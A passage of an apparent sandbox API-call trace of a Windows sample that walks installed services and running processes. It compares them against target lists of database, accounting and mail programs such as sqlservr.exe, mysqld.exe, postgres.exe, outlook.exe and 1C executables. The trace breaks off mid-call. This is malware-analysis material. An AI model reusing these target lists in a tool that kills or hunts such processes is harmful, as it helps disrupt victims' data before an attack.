lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.950] lstrlenW (lpString="Schedule") returned 8 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.950] lstrlenW (lpString="SENS") returned 4 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.950] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.950] lstrlenW (lpString="Spooler") returned 7 [0054.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.950] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.950] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.950] lstrlenW (lpString="swprv") returned 5 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.951] lstrlenW (lpString="SysMain") returned 7 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.951] lstrlenW (lpString="Themes") returned 6 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.951] lstrlenW (lpString="TrkWks") returned 6 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.951] lstrlenW (lpString="UxSms") returned 5 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.951] lstrlenW (lpString="VSS") returned 3 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.951] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.951] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.951] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.952] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.952] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.952] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.952] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.952] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.952] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.952] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.952] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.952] lstrlenW (lpString="Winmgmt") returned 7 [0054.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.952] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.952] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.952] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.952] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.952] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.952] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0054.952] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0054.955] Process32FirstW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.955] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.956] lstrlenW (lpString="System") returned 6 [0054.956] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.956] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.956] lstrlenW (lpString="smss.exe") returned 8 [0054.956] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.956] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.956] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.957] lstrlenW (lpString="csrss.exe") returned 9 [0054.957] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.957] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.957] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.957] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.957] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.957] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.957] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.957] lstrlenW (lpString="wininit.exe") returned 11 [0054.957] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.957] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.957] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.957] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.958] lstrlenW (lpString="csrss.exe") returned 9 [0054.958] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.958] lstrlenW (lpString="winlogon.exe") returned 12 [0054.958] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.958] lstrlenW (lpString="services.exe") returned 12 [0054.958] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.959] lstrlenW (lpString="lsass.exe") returned 9 [0054.959] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.959] lstrlenW (lpString="lsm.exe") returned 7 [0054.959] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.959] lstrlenW (lpString="svchost.exe") returned 11 [0054.959] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.960] lstrlenW (lpString="svchost.exe") returned 11 [0054.960] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.960] lstrlenW (lpString="svchost.exe") returned 11 [0054.960] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.961] lstrlenW (lpString="svchost.exe") returned 11 [0054.961] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.961] lstrlenW (lpString="svchost.exe") returned 11 [0054.961] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.961] lstrlenW (lpString="audiodg.exe") returned 11 [0054.961] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.962] lstrlenW (lpString="svchost.exe") returned 11 [0054.962] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.962] lstrlenW (lpString="svchost.exe") returned 11 [0054.962] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.962] lstrlenW (lpString="dwm.exe") returned 7 [0054.962] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.963] lstrlenW (lpString="explorer.exe") returned 12 [0054.963] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.963] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.963] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.964] lstrlenW (lpString="taskhost.exe") returned 12 [0054.964] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.964] lstrlenW (lpString="svchost.exe") returned 11 [0054.964] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.964] lstrlenW (lpString="taskeng.exe") returned 11 [0054.964] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0054.965] lstrlenW (lpString="judges-present.exe") returned 18 [0054.965] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0054.965] lstrlenW (lpString="physics.exe") returned 11 [0054.965] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0054.965] lstrlenW (lpString="belongs.exe") returned 11 [0054.965] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0054.966] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0054.966] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0054.966] lstrlenW (lpString="gadgets.exe") returned 11 [0054.966] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0054.967] lstrlenW (lpString="geneva.exe") returned 10 [0054.967] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0054.967] lstrlenW (lpString="elephant.exe") returned 12 [0054.967] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0054.967] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0054.967] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0054.968] lstrlenW (lpString="roger-venice.exe") returned 16 [0054.968] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0054.968] lstrlenW (lpString="cite.exe") returned 8 [0054.968] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0054.968] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0054.968] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0054.969] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0054.969] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0054.969] lstrlenW (lpString="artist_selecting.exe") returned 20 [0054.969] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0054.969] lstrlenW (lpString="poems.exe") returned 9 [0054.970] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0054.970] lstrlenW (lpString="bow.exe") returned 7 [0054.970] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0054.970] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0054.970] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0054.971] lstrlenW (lpString="businesses.exe") returned 14 [0054.971] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0054.971] lstrlenW (lpString="lucky.exe") returned 9 [0054.971] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0054.971] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0054.971] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0054.972] lstrlenW (lpString="healthmanner.exe") returned 16 [0054.972] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.972] lstrlenW (lpString="3dftp.exe") returned 9 [0054.972] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.972] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0054.972] Process32NextW (in: 